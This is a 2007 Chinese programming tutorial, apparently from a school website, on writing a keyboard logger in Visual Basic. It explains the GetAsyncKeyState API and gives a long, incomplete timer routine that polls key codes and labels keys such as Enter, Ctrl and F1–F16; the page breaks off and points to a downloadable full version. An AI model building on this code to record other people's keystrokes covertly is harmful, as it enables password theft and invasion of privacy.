这个程序主要是利用GetAsyncKeyState函数,
使用GetAsyncKeyState可以获得键盘的动作。
GetAsyncKeyState函数根据虚拟键表判断按键的类型。
返回值为一个16位的二进值数,如果被按下则最高位为1,
即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
好了,函数就先介绍这么多,下面开始动手实战了
first,当然是创建窗口了
在时间控件的Timer时间中定义检查按键类型,代码如下:
Dim AddKey
KeyResult = GetAsyncKeyState(13) '回车键
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17) 'Ctrl键
If KeyResult = -32767 Then
AddKey = "[CTRL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) '退格键
If KeyResult = -32767 Then
AddKey = "[BKSPACE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[TAB]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
AddKey = "[ALT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
AddKey = "[PAUSE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
AddKey = "[CAPS]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey = "[ESC]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PGUP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PGDN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[END]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[HOME]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
AddKey = "[SYSRQ]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[INS]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[DEL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
AddKey = "[NUM]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey = "[LEFT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey = "[UP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey = "[RIGHT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey = "[DOWN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey = "[F13]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey = "[F14]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey = "[F15]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey = "[F16]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
AddKey = ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
AddKey = "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
来源:www.upschool.com.cn
作者:吴龙杰
关键字:VB,键盘记录器,编写键盘记录器
发表日期:2007-2-17 0:24:53
网页显示有限 阅读全文请下载本文完整版WORD文档
上一篇:在VB中操纵OLE服务器应用程序 下一篇:
共2页
9 7 [
1] [
2]
8 :>